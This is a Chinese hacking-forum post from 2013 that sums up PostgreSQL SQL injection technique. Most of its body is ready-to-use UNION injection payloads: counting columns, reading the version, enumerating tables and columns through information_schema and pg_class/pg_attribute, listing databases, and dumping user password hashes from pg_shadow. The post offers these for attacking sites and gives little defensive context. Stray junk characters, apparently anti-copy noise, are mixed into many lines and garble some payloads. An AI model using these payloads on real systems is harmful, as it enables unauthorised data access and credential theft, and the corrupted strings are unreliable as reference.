找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2149|回复: 0
打印 上一主题 下一主题

postgreSQL注入总结

[复制链接]
抢楼 抢楼 本帖为抢楼帖,欢迎抢楼! 
跳转到指定楼层
楼主
发表于 2013-10-13 12:57:16 | 只看该作者 回帖奖励 |阅读模式
结合了MSSQL MySQL Oracle的一些特点; w. y4 l3 c+ X) Y! b) D

支持多语句执行,语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/$ [6 j( i) |" _8 z6 M) \
连接符: %20 , + , /**/

内置函数:6 L/ ?6 h  r% ~, ~# v4 V6 q% z* w
current_database() //当前数据库名
5 i: _8 Q( R7 y. ?session_user //会话用户
1 f3 ^, c  [2 v* Icurrent_user //当前数据库用户6 R0 S0 F  @7 N( @
user //当前用户4 c% p: N9 ?1 x/ a* A
version() //数据库版本

Union注射:# I+ S; k( I/ K4 Q7 ^
order by n–
5 u4 p7 {9 W4 y6 u7 tand 1=2 union select null,null,null–! F5 D2 ]+ {0 ]4 p! v/ P
and 1=2 union select ‘beach’,null,null–
& R. u  g0 k% [5 uand 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):
4 J$ T- \' d; ^2 cgroup_concat(table_name), e  ]' @2 c& y
and 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–) p% x" u( B* e2 m1 i
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–# r$ N2 e- a' U
(老版本)" j% ]9 t% m0 \1 n7 H9 Q
pg_class.oid对应pg_attribute.attrelid  J, ]! D5 t8 ?, w
pg_class.relname表名
/ r9 N0 e/ }) i. e6 b9 \4 Cpg_attribute.attname字段名

select relname from pg_class获取表名
* B: C1 M& b8 ~* `. Aselect oid from pg_class where 条件 获取参数
1 }" z3 q. y9 e0 i$ pselect attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:1 m0 i9 R5 q" |; ~
and 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表  `' J" I; z9 D
and 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
7 I0 ]5 A4 O  ]0 y( n/ Y- G! u由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名1 u2 G' h3 l5 c; j  Z
======================================================================& k, l4 J4 l! H9 e
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库
0 V! E! O) U  z& w* kand 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表